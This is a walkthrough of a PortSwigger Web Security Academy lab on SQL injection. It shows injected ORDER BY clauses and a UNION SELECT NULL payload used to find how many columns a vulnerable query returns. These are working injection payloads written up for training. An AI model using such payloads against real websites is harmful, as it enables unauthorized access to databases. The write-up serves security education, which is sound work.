SQL injection UNION attack,determining the number of columns returned by the query

Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab SQL injection UNION attack,determining the number of columns returned by the query (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SQL_injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Solution :

Query made -

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>'

We craft the request by adding UNION along with ORDER BY clause to find the number of columns that is being used by the query.

ORDER BY 1

 SQL read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' ORDER BY 1 --

ORDER BY 2

ORDER BY 3

ORDER BY 4

This throws an error. It means that there are 3 columns that is being retreived in the query by the web application.

Now as per our given question, we use UNION SELECT NULL payload to return an additional column that contains null values.

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT NULL,NULL,NULL --

Key Takeaways / Lessons

• Understanding SQL_injection detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

---

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection UNION attack,determining the number of columns returned by the query